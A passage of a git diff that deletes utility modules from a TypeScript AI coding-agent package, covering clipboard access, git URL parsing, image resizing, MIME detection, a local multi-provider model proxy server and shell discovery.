0) { - return { bytes: data.stdout, mimeType: baseMimeType(mimeType) }; - } - } - - return null; -} - -export async function readClipboardImage(options?: { - env?: NodeJS.ProcessEnv; - platform?: NodeJS.Platform; -}): Promise { - const env = options?.env ?? process.env; - const platform = options?.platform ?? process.platform; - - if (env.TERMUX_VERSION) { - return null; - } - - let image: ClipboardImage | null = null; - - if (platform === "linux" && isWaylandSession(env)) { - // Wayland: use CLI tools (wl-paste/xclip) since native arboard - // may not have access to the Wayland compositor from a terminal. - image = readClipboardImageViaWlPaste() ?? readClipboardImageViaXclip(); - } else { - // macOS, Windows, Linux X11: use native Rust clipboard (arboard) - try { - const nativeImage = await nativeReadImage(); - if (!nativeImage || nativeImage.data.length === 0) { - return null; - } - image = { bytes: nativeImage.data, mimeType: nativeImage.mimeType }; - } catch { - return null; - } - } - - if (!image) { - return null; - } - - // Convert unsupported formats (e.g., BMP from WSLg) to PNG - if (!isSupportedImageMimeType(image.mimeType)) { - const pngBytes = await convertToPng(image.bytes); - if (!pngBytes) { - return null; - } - return { bytes: pngBytes, mimeType: "image/png" }; - } - - return image; -} diff --git a/packages/pi-coding-agent/src/utils/clipboard-native.ts b/packages/pi-coding-agent/src/utils/clipboard-native.ts deleted file mode 100644 index 9f1643057..000000000 --- a/packages/pi-coding-agent/src/utils/clipboard-native.ts +++ /dev/null @@ -1,11 +0,0 @@ -/** - * Re-export native clipboard utilities from "@singularity-forge/native. - * - * This module exists for backward compatibility. Prefer importing - * directly from "@singularity-forge/native/clipboard" in new code. - */ -export { - copyToClipboard, - readImageFromClipboard, - readTextFromClipboard, -} from "@singularity-forge/native/clipboard"; diff --git a/packages/pi-coding-agent/src/utils/clipboard.ts b/packages/pi-coding-agent/src/utils/clipboard.ts deleted file mode 100644 index d850da2b4..000000000 --- a/packages/pi-coding-agent/src/utils/clipboard.ts +++ /dev/null @@ -1,14 +0,0 @@ -import { copyToClipboard as nativeCopy } from "@singularity-forge/native/clipboard"; - -export function copyToClipboard(text: string): void { - // Always emit OSC 52 - works over SSH/mosh, harmless locally - const encoded = Buffer.from(text).toString("base64"); - process.stdout.write(`\x1b]52;c;${encoded}\x07`); - - // Use native clipboard for local sessions (best effort) - try { - nativeCopy(text); - } catch { - // Ignore - OSC 52 already emitted as fallback - } -} diff --git a/packages/pi-coding-agent/src/utils/error.ts b/packages/pi-coding-agent/src/utils/error.ts deleted file mode 100644 index 6fe04cb09..000000000 --- a/packages/pi-coding-agent/src/utils/error.ts +++ /dev/null @@ -1,6 +0,0 @@ -/** - * Extract a human-readable message from an unknown caught value. - */ -export function getErrorMessage(err: unknown): string { - return err instanceof Error ? err.message : String(err); -} diff --git a/packages/pi-coding-agent/src/utils/frontmatter.ts b/packages/pi-coding-agent/src/utils/frontmatter.ts deleted file mode 100644 index 1345af0b6..000000000 --- a/packages/pi-coding-agent/src/utils/frontmatter.ts +++ /dev/null @@ -1,45 +0,0 @@ -import { parse } from "yaml"; - -type ParsedFrontmatter> = { - frontmatter: T; - body: string; -}; - -const normalizeNewlines = (value: string): string => - value.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); - -const extractFrontmatter = ( - content: string, -): { yamlString: string | null; body: string } => { - const normalized = normalizeNewlines(content); - - if (!normalized.startsWith("---")) { - return { yamlString: null, body: normalized }; - } - - const endIndex = normalized.indexOf("\n---", 3); - if (endIndex === -1) { - return { yamlString: null, body: normalized }; - } - - return { - yamlString: normalized.slice(4, endIndex), - body: normalized.slice(endIndex + 4).trim(), - }; -}; - -export const parseFrontmatter = < - T extends Record = Record, ->( - content: string, -): ParsedFrontmatter => { - const { yamlString, body } = extractFrontmatter(content); - if (!yamlString) { - return { frontmatter: {} as T, body }; - } - const parsed = parse(yamlString); - return { frontmatter: (parsed ?? {}) as T, body }; -}; - -export const stripFrontmatter = (content: string): string => - parseFrontmatter(content).body; diff --git a/packages/pi-coding-agent/src/utils/git.ts b/packages/pi-coding-agent/src/utils/git.ts deleted file mode 100644 index eeca06662..000000000 --- a/packages/pi-coding-agent/src/utils/git.ts +++ /dev/null @@ -1,194 +0,0 @@ -import hostedGitInfo from "hosted-git-info"; - -/** - * Parsed git URL information. - */ -export type GitSource = { - /** Always "git" for git sources */ - type: "git"; - /** Clone URL (always valid for git clone, without ref suffix) */ - repo: string; - /** Git host domain (e.g., "github.com") */ - host: string; - /** Repository path (e.g., "user/repo") */ - path: string; - /** Git ref (branch, tag, commit) if specified */ - ref?: string; - /** True if ref was specified (package won't be auto-updated) */ - pinned: boolean; -}; - -function splitRef(url: string): { repo: string; ref?: string } { - const scpLikeMatch = url.match(/^git@([^:]+):(.+)$/); - if (scpLikeMatch) { - const pathWithMaybeRef = scpLikeMatch[2] ?? ""; - const refSeparator = pathWithMaybeRef.indexOf("@"); - if (refSeparator < 0) return { repo: url }; - const repoPath = pathWithMaybeRef.slice(0, refSeparator); - const ref = pathWithMaybeRef.slice(refSeparator + 1); - if (!repoPath || !ref) return { repo: url }; - return { - repo: `git@${scpLikeMatch[1] ?? ""}:${repoPath}`, - ref, - }; - } - - if (url.includes("://")) { - try { - const parsed = new URL(url); - const pathWithMaybeRef = parsed.pathname.replace(/^\/+/, ""); - const refSeparator = pathWithMaybeRef.indexOf("@"); - if (refSeparator < 0) return { repo: url }; - const repoPath = pathWithMaybeRef.slice(0, refSeparator); - const ref = pathWithMaybeRef.slice(refSeparator + 1); - if (!repoPath || !ref) return { repo: url }; - parsed.pathname = `/${repoPath}`; - return { - repo: parsed.toString().replace(/\/$/, ""), - ref, - }; - } catch { - return { repo: url }; - } - } - - const slashIndex = url.indexOf("/"); - if (slashIndex < 0) { - return { repo: url }; - } - const host = url.slice(0, slashIndex); - const pathWithMaybeRef = url.slice(slashIndex + 1); - const refSeparator = pathWithMaybeRef.indexOf("@"); - if (refSeparator < 0) { - return { repo: url }; - } - const repoPath = pathWithMaybeRef.slice(0, refSeparator); - const ref = pathWithMaybeRef.slice(refSeparator + 1); - if (!repoPath || !ref) { - return { repo: url }; - } - return { - repo: `${host}/${repoPath}`, - ref, - }; -} - -function parseGenericGitUrl(url: string): GitSource | null { - const { repo: repoWithoutRef, ref } = splitRef(url); - let repo = repoWithoutRef; - let host = ""; - let path = ""; - - const scpLikeMatch = repoWithoutRef.match(/^git@([^:]+):(.+)$/); - if (scpLikeMatch) { - host = scpLikeMatch[1] ?? ""; - path = scpLikeMatch[2] ?? ""; - } else if ( - repoWithoutRef.startsWith("https://") || - repoWithoutRef.startsWith("http://") || - repoWithoutRef.startsWith("ssh://") || - repoWithoutRef.startsWith("git://") - ) { - try { - const parsed = new URL(repoWithoutRef); - host = parsed.hostname; - path = parsed.pathname.replace(/^\/+/, ""); - } catch { - return null; - } - } else { - const slashIndex = repoWithoutRef.indexOf("/"); - if (slashIndex < 0) { - return null; - } - host = repoWithoutRef.slice(0, slashIndex); - path = repoWithoutRef.slice(slashIndex + 1); - if (!host.includes(".") && host !== "localhost") { - return null; - } - repo = `https://${repoWithoutRef}`; - } - - const normalizedPath = path.replace(/\.git$/, "").replace(/^\/+/, ""); - if (!host || !normalizedPath || normalizedPath.split("/").length < 2) { - return null; - } - - return { - type: "git", - repo, - host, - path: normalizedPath, - ref, - pinned: Boolean(ref), - }; -} - -/** - * Parse git source into a GitSource. - * - * Rules: - * - With git: prefix, accept all historical shorthand forms. - * - Without git: prefix, only accept explicit protocol URLs. - */ -export function parseGitUrl(source: string): GitSource | null { - const trimmed = source.trim(); - const hasGitPrefix = trimmed.startsWith("git:"); - const url = hasGitPrefix ? trimmed.slice(4).trim() : trimmed; - - if (!hasGitPrefix && !/^(https?|ssh|git):\/\//i.test(url)) { - return null; - } - - const split = splitRef(url); - - const hostedCandidates = [ - split.ref ? `${split.repo}#${split.ref}` : undefined, - url, - ].filter((value): value is string => Boolean(value)); - for (const candidate of hostedCandidates) { - const info = hostedGitInfo.fromUrl(candidate); - if (info) { - if (split.ref && info.project?.includes("@")) { - continue; - } - const useHttpsPrefix = - !split.repo.startsWith("http://") && - !split.repo.startsWith("https://") && - !split.repo.startsWith("ssh://") && - !split.repo.startsWith("git://") && - !split.repo.startsWith("git@"); - return { - type: "git", - repo: useHttpsPrefix ? `https://${split.repo}` : split.repo, - host: info.domain || "", - path: `${info.user}/${info.project}`.replace(/\.git$/, ""), - ref: info.committish || split.ref || undefined, - pinned: Boolean(info.committish || split.ref), - }; - } - } - - const httpsCandidates = [ - split.ref ? `https://${split.repo}#${split.ref}` : undefined, - `https://${url}`, - ].filter((value): value is string => Boolean(value)); - for (const candidate of httpsCandidates) { - const info = hostedGitInfo.fromUrl(candidate); - if (info) { - if (split.ref && info.project?.includes("@")) { - continue; - } - return { - type: "git", - repo: `https://${split.repo}`, - host: info.domain || "", - path: `${info.user}/${info.project}`.replace(/\.git$/, ""), - ref: info.committish || split.ref || undefined, - pinned: Boolean(info.committish || split.ref), - }; - } - } - - return parseGenericGitUrl(url); -} diff --git a/packages/pi-coding-agent/src/utils/image-convert.ts b/packages/pi-coding-agent/src/utils/image-convert.ts deleted file mode 100644 index 5ae091d3e..000000000 --- a/packages/pi-coding-agent/src/utils/image-convert.ts +++ /dev/null @@ -1,28 +0,0 @@ -import { ImageFormat, parseImage } from "@singularity-forge/native/image"; - -/** - * Convert image to PNG format for terminal display. - * Kitty graphics protocol requires PNG format (f=100). - */ -export async function convertToPng( - base64Data: string, - mimeType: string, -): Promise<{ data: string; mimeType: string } | null> { - // Already PNG, no conversion needed - if (mimeType === "image/png") { - return { data: base64Data, mimeType }; - } - - try { - const bytes = new Uint8Array(Buffer.from(base64Data, "base64")); - const image = await parseImage(bytes); - const pngBytes = await image.encode(ImageFormat.PNG, 100); - return { - data: Buffer.from(new Uint8Array(pngBytes)).toString("base64"), - mimeType: "image/png", - }; - } catch { - // Conversion failed - return null; - } -} diff --git a/packages/pi-coding-agent/src/utils/image-resize.ts b/packages/pi-coding-agent/src/utils/image-resize.ts deleted file mode 100644 index e4b1b23f7..000000000 --- a/packages/pi-coding-agent/src/utils/image-resize.ts +++ /dev/null @@ -1,240 +0,0 @@ -import type { NativeImageHandle } from "@singularity-forge/native/image"; -import { - ImageFormat, - parseImage, - SamplingFilter, -} from "@singularity-forge/native/image"; -import type { ImageContent } from "@singularity-forge/pi-ai"; - -export interface ImageResizeOptions { - maxWidth?: number; // Default: 2000 - maxHeight?: number; // Default: 2000 - maxBytes?: number; // Default: 4.5MB (below Anthropic's 5MB limit) - jpegQuality?: number; // Default: 80 -} - -export interface ResizedImage { - data: string; // base64 - mimeType: string; - originalWidth: number; - originalHeight: number; - width: number; - height: number; - wasResized: boolean; -} - -// 4.5MB - provides headroom below Anthropic's 5MB limit -const DEFAULT_MAX_BYTES = 4.5 * 1024 * 1024; - -const DEFAULT_OPTIONS: Required = { - maxWidth: 2000, - maxHeight: 2000, - maxBytes: DEFAULT_MAX_BYTES, - jpegQuality: 80, -}; - -/** Helper to pick the smaller of two buffers */ -function pickSmaller( - a: { buffer: Uint8Array; mimeType: string }, - b: { buffer: Uint8Array; mimeType: string }, -): { buffer: Uint8Array; mimeType: string } { - return a.buffer.length <= b.buffer.length ? a : b; -} - -/** - * Resize an image to fit within the specified max dimensions and file size. - * Returns the original image if it already fits within the limits. - * - * Uses the native Rust image module (N-API) for image processing. - * - * Strategy for staying under maxBytes: - * 1. First resize to maxWidth/maxHeight - * 2. Try both PNG and JPEG formats, pick the smaller one - * 3. If still too large, try JPEG with decreasing quality - * 4. If still too large, progressively reduce dimensions - */ -export async function resizeImage( - img: ImageContent, - options?: ImageResizeOptions, -): Promise { - const opts = { ...DEFAULT_OPTIONS, ...options }; - const inputBuffer = Buffer.from(img.data, "base64"); - - let image: NativeImageHandle; - try { - image = await parseImage(new Uint8Array(inputBuffer)); - } catch { - // Failed to decode image - return { - data: img.data, - mimeType: img.mimeType, - originalWidth: 0, - originalHeight: 0, - width: 0, - height: 0, - wasResized: false, - }; - } - - try { - const originalWidth = image.width; - const originalHeight = image.height; - const format = img.mimeType?.split("/")[1] ?? "png"; - - // Check if already within all limits (dimensions AND size) - const originalSize = inputBuffer.length; - if ( - originalWidth <= opts.maxWidth && - originalHeight <= opts.maxHeight && - originalSize <= opts.maxBytes - ) { - return { - data: img.data, - mimeType: img.mimeType ?? `image/${format}`, - originalWidth, - originalHeight, - width: originalWidth, - height: originalHeight, - wasResized: false, - }; - } - - // Calculate initial dimensions respecting max limits - let targetWidth = originalWidth; - let targetHeight = originalHeight; - - if (targetWidth > opts.maxWidth) { - targetHeight = Math.round((targetHeight * opts.maxWidth) / targetWidth); - targetWidth = opts.maxWidth; - } - if (targetHeight > opts.maxHeight) { - targetWidth = Math.round((targetWidth * opts.maxHeight) / targetHeight); - targetHeight = opts.maxHeight; - } - - // Helper to resize and encode in both formats, returning the smaller one - async function tryBothFormats( - width: number, - height: number, - jpegQuality: number, - ): Promise<{ buffer: Uint8Array; mimeType: string }> { - const resized = await image.resize( - width, - height, - SamplingFilter.Lanczos3, - ); - - const pngBytes = await resized.encode(ImageFormat.PNG, 100); - const jpegBytes = await resized.encode(ImageFormat.JPEG, jpegQuality); - - const pngBuffer = new Uint8Array(pngBytes); - const jpegBuffer = new Uint8Array(jpegBytes); - - return pickSmaller( - { buffer: pngBuffer, mimeType: "image/png" }, - { buffer: jpegBuffer, mimeType: "image/jpeg" }, - ); - } - - // Try to produce an image under maxBytes - const qualitySteps = [85, 70, 55, 40]; - const scaleSteps = [1.0, 0.75, 0.5, 0.35, 0.25]; - - let best: { buffer: Uint8Array; mimeType: string }; - let finalWidth = targetWidth; - let finalHeight = targetHeight; - - // First attempt: resize to target dimensions, try both formats - best = await tryBothFormats(targetWidth, targetHeight, opts.jpegQuality); - - if (best.buffer.length <= opts.maxBytes) { - return { - data: Buffer.from(best.buffer).toString("base64"), - mimeType: best.mimeType, - originalWidth, - originalHeight, - width: finalWidth, - height: finalHeight, - wasResized: true, - }; - } - - // Still too large - try JPEG with decreasing quality - for (const quality of qualitySteps) { - best = await tryBothFormats(targetWidth, targetHeight, quality); - - if (best.buffer.length <= opts.maxBytes) { - return { - data: Buffer.from(best.buffer).toString("base64"), - mimeType: best.mimeType, - originalWidth, - originalHeight, - width: finalWidth, - height: finalHeight, - wasResized: true, - }; - } - } - - // Still too large - reduce dimensions progressively - for (const scale of scaleSteps) { - finalWidth = Math.round(targetWidth * scale); - finalHeight = Math.round(targetHeight * scale); - - if (finalWidth < 100 || finalHeight < 100) { - break; - } - - for (const quality of qualitySteps) { - best = await tryBothFormats(finalWidth, finalHeight, quality); - - if (best.buffer.length <= opts.maxBytes) { - return { - data: Buffer.from(best.buffer).toString("base64"), - mimeType: best.mimeType, - originalWidth, - originalHeight, - width: finalWidth, - height: finalHeight, - wasResized: true, - }; - } - } - } - - // Last resort: return smallest version we produced - return { - data: Buffer.from(best.buffer).toString("base64"), - mimeType: best.mimeType, - originalWidth, - originalHeight, - width: finalWidth, - height: finalHeight, - wasResized: true, - }; - } catch { - // Failed to process image - return { - data: img.data, - mimeType: img.mimeType, - originalWidth: 0, - originalHeight: 0, - width: 0, - height: 0, - wasResized: false, - }; - } -} - -/** - * Format a dimension note for resized images. - * This helps the model understand the coordinate mapping. - */ -export function formatDimensionNote(result: ResizedImage): string | undefined { - if (!result.wasResized) { - return undefined; - } - - const scale = result.originalWidth / result.width; - return `[Image: original ${result.originalWidth}x${result.originalHeight}, displayed at ${result.width}x${result.height}. Multiply coordinates by ${scale.toFixed(2)} to map to original image.]`; -} diff --git a/packages/pi-coding-agent/src/utils/mime.ts b/packages/pi-coding-agent/src/utils/mime.ts deleted file mode 100644 index 1633d8af6..000000000 --- a/packages/pi-coding-agent/src/utils/mime.ts +++ /dev/null @@ -1,42 +0,0 @@ -import { open } from "node:fs/promises"; -import { fileTypeFromBuffer } from "file-type"; - -const IMAGE_MIME_TYPES = new Set([ - "image/jpeg", - "image/png", - "image/gif", - "image/webp", -]); - -const FILE_TYPE_SNIFF_BYTES = 4100; - -export async function detectSupportedImageMimeTypeFromFile( - filePath: string, -): Promise { - const fileHandle = await open(filePath, "r"); - try { - const buffer = Buffer.alloc(FILE_TYPE_SNIFF_BYTES); - const { bytesRead } = await fileHandle.read( - buffer, - 0, - FILE_TYPE_SNIFF_BYTES, - 0, - ); - if (bytesRead === 0) { - return null; - } - - const fileType = await fileTypeFromBuffer(buffer.subarray(0, bytesRead)); - if (!fileType) { - return null; - } - - if (!IMAGE_MIME_TYPES.has(fileType.mime)) { - return null; - } - - return fileType.mime; - } finally { - await fileHandle.close(); - } -} diff --git a/packages/pi-coding-agent/src/utils/path-display.ts b/packages/pi-coding-agent/src/utils/path-display.ts deleted file mode 100644 index ad8160538..000000000 --- a/packages/pi-coding-agent/src/utils/path-display.ts +++ /dev/null @@ -1,36 +0,0 @@ -/** - * Cross-platform path display utilities. - * - * Paths injected into LLM prompts, tool results, or any text the model - * processes must use forward slashes. Windows backslash paths cause bash - * failures when the model copies them into shell commands — bash interprets - * backslashes as escape characters, silently stripping them. - * - * Node's `path` module and `fs` module handle native separators correctly - * for filesystem operations. This module is ONLY for paths that enter - * text consumed by the LLM or interpreted by a shell. - * - * Usage: - * import { toPosixPath } from "./path-display.js"; - * prompt += `Current working directory: ${toPosixPath(cwd)}`; - * - * NOT for: - * fs.readFile(path) — use native path as-is - * path.join(a, b) — use native path module - * spawn(cmd, { cwd: path }) — Node handles this correctly - */ - -/** - * Convert a filesystem path to forward-slash (POSIX) form for display. - * - * On Unix this is a no-op. On Windows it converts `C:\Users\name\project` - * to `C:/Users/name/project`, which is valid in: - * - Git Bash / MSYS2 - * - WSL bash - * - PowerShell - * - Node.js APIs (which accept both separators) - * - Most Windows programs - */ -export function toPosixPath(fsPath: string): string { - return fsPath.replaceAll("\\", "/"); -} diff --git a/packages/pi-coding-agent/src/utils/photon.ts b/packages/pi-coding-agent/src/utils/photon.ts deleted file mode 100644 index cdffed0a7..000000000 --- a/packages/pi-coding-agent/src/utils/photon.ts +++ /dev/null @@ -1,2 +0,0 @@ -// Re-export types from the main package -export type { PhotonImage as PhotonImageType } from "@silvia-odwyer/photon-node"; diff --git a/packages/pi-coding-agent/src/utils/proxy-server.ts b/packages/pi-coding-agent/src/utils/proxy-server.ts deleted file mode 100644 index 03f4558ad..000000000 --- a/packages/pi-coding-agent/src/utils/proxy-server.ts +++ /dev/null @@ -1,313 +0,0 @@ -import type { Server } from "node:http"; -import { - type Context, - getModels, - type StreamOptions, - stream, -} from "@singularity-forge/pi-ai"; -import express from "express"; -import type { AuthStorage } from "../core/auth-storage.js"; -import type { ModelRegistry } from "../core/model-registry.js"; - -export type ProxyServerOptions = { - port: number; - authStorage: AuthStorage; - modelRegistry: ModelRegistry; - /** Per-family provider priority overrides from settings.proxy.providerPriority */ - priorityOverrides?: Record; - onLog?: (msg: string) => void; -}; - -// Per-family provider priority for bare model ID resolution. When the same model ID -// exists across multiple providers, the first matching family rule wins; within that -// rule providers are tried in order, preferring those with auth configured. Providers -// not listed in any rule fall back to insertion order. -const PROXY_FAMILY_PRIORITY: Array<{ match: RegExp; providers: string[] }> = [ - // MiniMax: international direct > CN endpoint - { match: /^MiniMax-/i, providers: ["minimax", "minimax-cn"] }, - // GLM: zai is the canonical direct provider > opencode aggregators - { match: /^glm-/i, providers: ["zai", "opencode", "opencode-go"] }, - // Kimi: kimi-coding direct > opencode aggregators - { match: /^kimi-/i, providers: ["kimi-coding", "opencode", "opencode-go"] }, - // Gemini/Gemma: proxy bare model IDs through cli-core only. - { - match: /^gemini-|^gemma-/i, - providers: ["google-gemini-cli"], - }, - // Claude: anthropic direct > opencode. Copilot is disabled. - { - match: /^claude-/i, - providers: ["anthropic", "opencode"], - }, - // GPT/OpenAI: openai direct > azure. Copilot is disabled. - { - match: /^gpt-|^o[0-9]|^codex-/i, - providers: ["openai", "azure-openai-responses"], - }, -]; - -function _sortByFamilyPriority( - models: T[], -): T[] { - if (models.length <= 1) return models; - const [first] = models; - const rule = PROXY_FAMILY_PRIORITY.find((r) => r.match.test(first.id)); - const order = rule?.providers ?? []; - return [...models].sort((a, b) => { - const pa = order.indexOf(a.provider); - const pb = order.indexOf(b.provider); - return (pa === -1 ? Infinity : pa) - (pb === -1 ? Infinity : pb); - }); -} - -export class ProxyServer { - private server: Server | null = null; - - constructor(private options: ProxyServerOptions) {} - - async start(): Promise { - if (this.server) return; - - const app = express(); - app.use(express.json()); - - const { authStorage, modelRegistry, onLog } = this.options; - const priorityOverrides = this.options.priorityOverrides ?? {}; - - const log = (msg: string) => onLog?.(msg); - - // 1. Model Listing - app.get(["/v1/models", "/v1beta/models"], async (req, res) => { - const providers = ["google-gemini-cli", "anthropic", "openai"]; - const allModels = providers.flatMap((p) => getModels(p as any)); - - const formatted = allModels.map((m) => ({ - id: m.id, - object: "model", - created: 1677610602, - owned_by: m.provider, - name: m.name, - capabilities: m.capabilities, - })); - - if (req.path.startsWith("/v1beta")) { - res.json({ models: formatted }); - } else { - res.json({ data: formatted, object: "list" }); - } - }); - - // 2. Chat Completions (OpenAI & GenAI) - const handleChat = async (req: express.Request, res: express.Response) => { - const body = req.body; - const isOpenAi = req.path.includes("/v1/chat/completions"); - const modelId = isOpenAi - ? body.model - : req.params.modelId?.replace(/:streamGenerateContent$/, ""); - - if (!modelId) { - return res.status(400).json({ error: "Model ID is required" }); - } - - try { - const candidates = modelRegistry.getModelsForProxy( - modelId, - priorityOverrides, - ); - if (candidates.length === 0) { - return res.status(404).json({ error: `Model ${modelId} not found` }); - } - - // Normalize messages once — shared across retry attempts - const context: Context = isOpenAi - ? this.normalizeOpenAi(body) - : this.normalizeGoogle(body); - - const streamOptions: StreamOptions = { - temperature: body.temperature, - maxTokens: isOpenAi - ? body.max_tokens - : body.generationConfig?.maxOutputTokens, - }; - - for (const resolvedModel of candidates) { - const apiKey = await authStorage.getApiKey(resolvedModel.provider); - if (!apiKey) continue; // no credentials — try next - - const streamOptionsWithKey: StreamOptions = { - ...streamOptions, - apiKey, - }; - - try { - const eventStream = stream( - resolvedModel as any, - context, - streamOptionsWithKey as any, - ); - - if (body.stream) { - this.handleStreamingResponse(eventStream, res, isOpenAi, modelId); - } else { - await this.handleStaticResponse( - eventStream, - res, - isOpenAi, - modelId, - ); - } - return; // success - } catch (err: any) { - const status = err?.status ?? err?.statusCode; - if (status === 429) { - log( - `Provider ${resolvedModel.provider} rate-limited (429), trying next candidate`, - ); - continue; - } - throw err; - } - } - - // All candidates exhausted - res - .status(429) - .json({ error: `All providers rate-limited for model ${modelId}` }); - } catch (err: any) { - log(`Proxy error: ${err.message}`); - res.status(500).json({ error: err.message }); - } - }; - - app.post("/v1/chat/completions", handleChat); - app.post("/v1beta/models/:modelId\\:streamGenerateContent", handleChat); - - return new Promise((resolve) => { - this.server = app.listen(this.options.port, () => { - log(`Proxy Server running on http://localhost:${this.options.port}`); - resolve(); - }); - }); - } - - stop(): void { - if (this.server) { - this.server.close(); - this.server = null; - } - } - - private normalizeOpenAi(body: any): Context { - const messages = body.messages || []; - const system = messages.find((m: any) => m.role === "system")?.content; - const history = messages - .filter((m: any) => m.role !== "system") - .map((m: any) => ({ - role: m.role === "user" ? "user" : "assistant", - content: - typeof m.content === "string" - ? [{ type: "text", text: m.content }] - : m.content, - })); - return { messages: history, systemPrompt: system }; - } - - private normalizeGoogle(body: any): Context { - const contents = body.contents || []; - const history = contents.map((c: any) => ({ - role: c.role === "user" ? "user" : "assistant", - content: (c.parts || []).map((p: any) => ({ - type: "text", - text: p.text, - })), - })); - const system = body.systemInstruction?.parts?.[0]?.text; - return { messages: history, systemPrompt: system }; - } - - private handleStreamingResponse( - eventStream: any, - res: express.Response, - isOpenAi: boolean, - modelId: string, - ) { - res.setHeader( - "Content-Type", - isOpenAi ? "text/event-stream" : "application/json", - ); - - eventStream.on("data", (ev: any) => { - if (ev.type === "text_delta") { - if (isOpenAi) { - const chunk = { - id: `chatcmpl-${Date.now()}`, - object: "chat.completion.chunk", - created: Math.floor(Date.now() / 1000), - model: modelId, - choices: [ - { index: 0, delta: { content: ev.delta }, finish_reason: null }, - ], - }; - res.write(`data: ${JSON.stringify(chunk)}\n\n`); - } else { - const chunk = { - candidates: [{ content: { parts: [{ text: ev.delta }] } }], - }; - res.write(JSON.stringify(chunk) + "\n"); - } - } - }); - - eventStream.on("done", () => { - if (isOpenAi) res.write("data: [DONE]\n\n"); - res.end(); - }); - - eventStream.on("error", (ev: any) => { - if (!res.headersSent) - res.status(500).json({ error: ev.error.errorMessage }); - else res.end(); - }); - } - - private async handleStaticResponse( - eventStream: any, - res: express.Response, - isOpenAi: boolean, - modelId: string, - ) { - let fullContent = ""; - eventStream.on("data", (ev: any) => { - if (ev.type === "text_delta") fullContent += ev.delta; - }); - - return new Promise((resolve) => { - eventStream.on("done", () => { - if (isOpenAi) { - res.json({ - id: `chatcmpl-${Date.now()}`, - object: "chat.completion", - created: Math.floor(Date.now() / 1000), - model: modelId, - choices: [ - { - index: 0, - message: { role: "assistant", content: fullContent }, - finish_reason: "stop", - }, - ], - }); - } else { - res.json({ - candidates: [{ content: { parts: [{ text: fullContent }] } }], - }); - } - resolve(); - }); - eventStream.on("error", (ev: any) => { - res.status(500).json({ error: ev.error.errorMessage }); - resolve(); - }); - }); - } -} diff --git a/packages/pi-coding-agent/src/utils/shell-env.test.ts b/packages/pi-coding-agent/src/utils/shell-env.test.ts deleted file mode 100644 index 34b7a4703..000000000 --- a/packages/pi-coding-agent/src/utils/shell-env.test.ts +++ /dev/null @@ -1,23 +0,0 @@ -/** - * shell-env.test.ts — Regression coverage for automated shell environment. - * - * Purpose: keep agent-run git commands non-interactive so operations such as - * `git rebase --continue` cannot hang by opening an editor. - */ - -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { getShellEnv } from "./shell.js"; - -describe("getShellEnv", () => { - it("getShellEnv_when_git_rebase_continues_disables_editor_prompts", () => { - const env = getShellEnv(); - - assert.equal(env.GIT_TERMINAL_PROMPT, "0"); - assert.equal(env.GIT_EDITOR, "true"); - assert.equal(env.GIT_SEQUENCE_EDITOR, "true"); - assert.equal(env.GIT_ASKPASS, ""); - assert.equal(env.VISUAL, "true"); - assert.equal(env.EDITOR, "true"); - }); -}); diff --git a/packages/pi-coding-agent/src/utils/shell.ts b/packages/pi-coding-agent/src/utils/shell.ts deleted file mode 100644 index 536345727..000000000 --- a/packages/pi-coding-agent/src/utils/shell.ts +++ /dev/null @@ -1,250 +0,0 @@ -import { spawn, spawnSync } from "node:child_process"; -import { existsSync } from "node:fs"; -import { delimiter } from "node:path"; -import { getBinDir, getSettingsPath } from "../config.js"; -import { SettingsManager } from "../core/settings-manager.js"; - -let cachedShellConfig: { shell: string; args: string[] } | null = null; - -/** - * Find bash executable on PATH (cross-platform) - */ -function findBashOnPath(): string | null { - if (process.platform === "win32") { - // Windows: Use 'where' and verify file exists (where can return non-existent paths) - try { - const result = spawnSync("where", ["bash.exe"], { - encoding: "utf-8", - timeout: 5000, - }); - if (result.status === 0 && result.stdout) { - const firstMatch = result.stdout.trim().split(/\r?\n/)[0]; - if (firstMatch && existsSync(firstMatch)) { - return firstMatch; - } - } - } catch { - // Ignore errors - } - return null; - } - - // Unix: Use 'which' and trust its output (handles Termux and special filesystems) - try { - const result = spawnSync("which", ["bash"], { - encoding: "utf-8", - timeout: 5000, - }); - if (result.status === 0 && result.stdout) { - const firstMatch = result.stdout.trim().split(/\r?\n/)[0]; - if (firstMatch) { - return firstMatch; - } - } - } catch { - // Ignore errors - } - return null; -} - -/** - * Get shell configuration based on platform. - * Resolution order: - * 1. User-specified shellPath in settings.json - * 2. On Windows: Git Bash in known locations, then bash on PATH - * 3. On Unix: /bin/bash, then bash on PATH, then fallback to sh - */ -export function getShellConfig(): { shell: string; args: string[] } { - if (cachedShellConfig) { - return cachedShellConfig; - } - - const settings = SettingsManager.create(); - const customShellPath = settings.getShellPath(); - - // 1. Check user-specified shell path - if (customShellPath) { - if (existsSync(customShellPath)) { - cachedShellConfig = { shell: customShellPath, args: ["-c"] }; - return cachedShellConfig; - } - throw new Error( - `Custom shell path not found: ${customShellPath}\nPlease update shellPath in ${getSettingsPath()}`, - ); - } - - if (process.platform === "win32") { - // 2. Try Git Bash in known locations - const paths: string[] = []; - const programFiles = process.env.ProgramFiles; - if (programFiles) { - paths.push(`${programFiles}\\Git\\bin\\bash.exe`); - } - const programFilesX86 = process.env["ProgramFiles(x86)"]; - if (programFilesX86) { - paths.push(`${programFilesX86}\\Git\\bin\\bash.exe`); - } - - for (const path of paths) { - if (existsSync(path)) { - cachedShellConfig = { shell: path, args: ["-c"] }; - return cachedShellConfig; - } - } - - // 3. Fallback: search bash.exe on PATH (Cygwin, MSYS2, WSL, etc.) - const bashOnPath = findBashOnPath(); - if (bashOnPath) { - cachedShellConfig = { shell: bashOnPath, args: ["-c"] }; - return cachedShellConfig; - } - - throw new Error( - `No bash shell found. Options:\n` + - ` 1. Install Git for Windows: https://git-scm.com/download/win\n` + - ` 2. Add your bash to PATH (Cygwin, MSYS2, etc.)\n` + - ` 3. Set shellPath in ${getSettingsPath()}\n\n` + - `Searched Git Bash in:\n${paths.map((p) => ` ${p}`).join("\n")}`, - ); - } - - // Unix: try /bin/bash, then bash on PATH, then fallback to sh - if (existsSync("/bin/bash")) { - cachedShellConfig = { shell: "/bin/bash", args: ["-c"] }; - return cachedShellConfig; - } - - const bashOnPath = findBashOnPath(); - if (bashOnPath) { - cachedShellConfig = { shell: bashOnPath, args: ["-c"] }; - return cachedShellConfig; - } - - cachedShellConfig = { shell: "sh", args: ["-c"] }; - return cachedShellConfig; -} - -/** - * On Windows + Git Bash, rewrite Windows-style NUL redirects to /dev/null. - * Git Bash doesn't recognize NUL as a device name and 